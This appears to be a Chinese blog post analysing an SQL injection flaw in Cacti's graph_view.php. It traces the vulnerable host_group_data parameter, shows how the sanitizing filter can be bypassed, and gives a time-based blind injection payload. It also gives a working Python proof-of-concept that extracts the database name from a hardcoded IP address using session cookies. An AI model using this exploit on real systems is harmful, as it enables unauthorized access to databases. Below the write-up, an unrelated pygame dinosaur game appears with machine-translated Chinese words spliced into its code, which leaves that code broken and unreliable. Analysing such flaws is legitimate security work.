view.php 漏洞,Cacti graph_view.php SQL注入漏洞

存在问题的文件/cacti/graph_view.php:/* ================= input validation ================= */

input_validate_input_number(get_request_var_request('branch_id'));

input_validate_input_number(get_request_var_request('hide'));

input_validate_input_number(get_request_var_request('tree_id'));

input_validate_input_number(get_request_var_request('leaf_id'));

input_validate_input_number(get_request_var_request('rra_id'));

input_validate_input_regex(get_request_var_request('graph_list'), '^([\,0-9]+)$');

input_validate_input_regex(get_request_var_request('graph_add'), '^([\,0-9]+)$');

input_validate_input_regex(get_request_var_request('graph_remove'), '^([\,0-9]+)$');

input_validate_input_regex(get_request_var_request('nodeid'), '^([_a-z0-9]+)$');

/* ==================================================== */

...

switch ($_REQUEST['action']) {

case 'tree_content':

validate_tree_vars(); // attesion here

...

grow_right_pane_tree((isset($_REQUEST['tree_id']) ? $_REQUEST['tree_id'] : 0), (isset($_REQUEST['leaf_id']) ? $_REQUEST['leaf_id'] : 0), (isset($_REQUEST['host_group_data'])

? urldecode($_REQUEST['host_group_data']) : 0));

}

这里我们跟下function grow_right_pane_tree函数,存在于/lib/html_tree.php :

function grow_right_pane_tree($tree_id, $leaf_id, $host_group_data)

{

global $current_user, $config, $graphs_per_page, $graph_timeshifts;

...

$host_group_data_array = explode(':', $host_group_data);

if ($host_group_data_array[0] == 'graph_template') {

$host_group_data_name = 'Graph Template: ' . db_fetch_cell('select name from graph_templates where id=' . $host_group_data_array[1]); //这里很像是可以产生注入的地方

$graph_template_id = $host_group_data_array[1];

}

...

}

这看起来好像是可以产生注入的地方,但是validate_tree_vars()是一个变态的过滤函数function validate_tree_vars() {

/* ================= input validation ================= */

input_validate_input_number(get_request_var_request('graphs'));

input_validate_input_number(get_request_var_request('columns'));

input_validate_input_number(get_request_var_request('page'));

input_validate_input_number(get_request_var_request('tree_id'));

input_validate_input_number(get_request_var_request('leaf_id'));

/* ==================================================== */

/* clean up search string */

if (isset($_REQUEST['filter'])) {

$_REQUEST['filter'] = sanitize_search_string(get_request_var_request('filter'));

}

/* clean up search string */

if (isset($_REQUEST['thumbnails'])) {

$_REQUEST['thumbnails'] = sanitize_search_string(get_request_var_request('thumbnails'));

}

/* clean up host_group_data string */

if (isset($_REQUEST['host_group_data'])) {

$_REQUEST['host_group_data'] = sanitize_search_string(get_request_var_request('host_group_data'));

继续跟踪函数sanitize_search_string,在/lib/functions.php:function sanitize_search_string($string) {

static $drop_char_match = array('^', '$', '', '`', '\'', '"', '|', ',', '?', '+', '[', ']', '{', '}', '#', ';', '!', '=', '*');

static $drop_char_replace = array(' ', ' ', ' ', ' ', '', '', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ');

/* Replace line endings by a space */

$string = preg_replace('/[\n\r]/is', ' ', $string);

/* HTML entities like */

$string = preg_replace('/\b&[a-z]+;\b/', ' ', $string);

/* Remove URL's */

$string = preg_replace('/\b[a-z0-9]+:\/\/[a-z0-9\.\-]+(\/[a-z0-9\?\.%_\-\+=&\/]+)?/', ' ', $string);

/* Filter out strange characters like ^, $, &, change "it's" to "its" */

for($i = 0; $i < count($drop_char_match); $i++) {

$string = str_replace($drop_char_match[$i], $drop_char_replace[$i], $string);

}

return $string;

}

这貌似过滤的很严格,但是可以利用一些mysql的特性去绕过.让sql注入存活过来

首先登陆cacti

然后去请求http://target/cacti/graph_view.php

POST发送Data: ____csrf_magic=sid:b0349195c55bddec2f2be859e0f394539ea4569a,1458781575&host_group_data=graph_template:1 union select case when ord(substring((select version()) from 1 for 1)) between 53 and 53 then sleep(5) else 0 end

如果mysql成功延时5秒,那么version()第一个是5

写个poc来验证下#!/usr/bin/python

# -*- coding: UTF-8 -*-

import httplib

import time

import string

import sys

import random

import urllib

import math

headers = {

'Content-Type': 'application/x-www-form-urlencoded',

'Cookie':

'cacti_zoom=zoomMode%3Dquick%2CzoomOutPositioning%3Dcenter%2CzoomOutFactor%3D2%2CzoomMarkers%3Dtrue%2CzoomTimestamps%3Dauto%2Czoom3rdMouseButton%3Dfalse; Cacti=7a3e072f5ab62febf94fbedda5128fd0'

}

payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'

print 'Starting to retrive MySQL DB:'

db = ''

user = ''

for i in range(1, 6):

for payload in payloads:

s = "__csrf_magic=sid:c766dcdb84bc21215af88d112bc9c4f2edc517b4,1458794525&host_group_data=graph_template:1 union select case when ord(substring((select database()) from %s for %s)) between %s and %s then sleep(5) else 0 end" % (

i, i, ord(payload), ord(payload))

conn = httplib.HTTPConnection('133.130.98.98', timeout=60)

conn.request(method='POST',

url='/cacti/graph_view.php?action=tree_content',

body=s,

headers=headers)

start_time = time.time()

conn.getresponse()

conn.close()

print '.',

if time.time() - start_time > 5.0:

db += payload

print '\n\n[In progress]', db,

break

print '\n\n[Done] Current database is %s ' % (db)

bd95248979b67d72cfda207eef90ded5.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
import cfg import sys import random import pygame from 期末作业.小恐龙跑酷.modules import GameStartInterface, Scoreboard, Dinosaur, Ground, Cloud, Cactus, Ptera, \ GameEndInterface '''main''' def main(highest_score): # 游戏初始化 pygame.init() screen = pygame.display.set_mode(cfg.SCREENSIZE) pygame.display.set_caption('恐怖龙跑酷') # 导入所有声音文件 sounds = {} for key, value in cfg.AUDIO_PATHS.items (): sounds[key] = pygame.mixer.Sound(value) # 游戏开始界面 GameStartInterface(screen, sounds, cfg) # 确定一些游戏中必须的元素和变化 score = 0 score_board = Scoreboard(cfg.IMAGE_PATHS[' numbers'], position=(534, 15), bg_c​​olor=cfg.BACKGROUND_COLOR) highest_score = highest_score highest_score_board = 记分牌(cfg.IMAGE_PATHS['numbers'], position=(435, 15), bg_c​​olor=cfg.BACKGROUND_COLOR, is_highest=True) dino = Dinosaur(cfg.IMAGE_PATHS['dino']) ground = Ground(cfg.IMAGE_PATHS['ground'], position=(0, cfg.SCREENSIZE[1])) 云精灵组= pygame.sprite .Group() cactus_sprites_group = pygame.sprite.Group() ptera_sprites_group = pygame.sprite.Group() add_obstacle_timer = 0 score_timer = 0 # 游戏主跟随环 clock = pygame.time.Clock() while True: for event in pygame.event .get(): if event.type == pygame.QUIT: pygame.quit() sys.exit() elif event.type == pygame.KEYDOWN: if event.key == pygame.K_SPACE or event.key == pygame.K_UP: dino.jump(sounds) elif event.key == pygame.K_DOWN: dino.duck() elif event.type == pygame.KEYUP and event.key == pygame.K_DOWN: dino.unduck() screen.fill(cfg.BACKGROUND_COLOR) # --随机添加云 if len(cloud_sprites_group) < 5 and random.randrange(0, 300) == 10: cloud_sprites_group.add(Cloud(cfg.IMAGE_PATHS['cloud'], position=( cfg.SCREENSIZE[0], random.randrange(30, 75)))) # --随机添加仙人掌/飞龙 add_obstacle_timer += 1 if add_obstacle_timer > random.randrange(50, 150): add_obstacle_timer = 0 random_value = random.randrange(0, 10) 如果 random_value >= 5 且 random_value <= 7: cactus_sprites_group.add(Cactus(cfg.IMAGE_PATHS['cacti']))否则:position_ys = [cfg.SCREENSIZE[1] * 0.82,cfg.SCREENSIZE[1] * 0.75,cfg.SCREENSIZE[1] * 0.60,cfg.SCREENSIZE[1] * 0。20] ptera_sprites_group.add(Ptera(cfg.IMAGE_PATHS['ptera'], position=(600, random.choice(position_ys)))) # --更新游戏元素 dino.update() ground.update() cloud_sprites_group.update () cactus_sprites_group.update() ptera_sprites_group.update() score_timer += 1 如果score_timer > (cfg.FPS // 12): score_timer = 0 score += 1 score = min(score, 99999) 如果score > highest_score: highest_score = score if score % 100 == 0: sounds['point'].play() if score % 1000 == 0: ground.speed -= 1 对于 cloud_sprites_group 中的项目:item.speed -= 1 对于 cactus_sprites_group 中的项目:item .speed -= 1 for item in ptera_sprites_group: item.speed -= 1 # --撞击检测 for item in cactus_sprites_group: if pygame.sprite.collide_mask(dino, item): dino.die(sounds) for item in ptera_sprites_group: if pygame .sprite.collide_mask(dino, item): dino.die(sounds) # --将游戏元素画到屏幕上 dino.draw(screen) ground.draw(screen) cloud_sprites_group.draw(screen) cactus_sprites_group.draw(screen) ptera_sprites_group.draw(screen) score_board.set(score) highest_score_board.set(highest_score) score_board.draw(screen) highest_score_board.draw(screen) # --更新屏幕 pygame.display.update() clock.tick(cfg.FPS) # --游戏是否结束 if dino.is_dead:break # 游戏结束界面 return GameEndInterface(screen, cfg), highest_score '''run''' ifname == ' main ': highest_score = 0 while True: flag, highest_score = main(highest_score) if not flag: break运行注解代码
最新发布
06-03

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值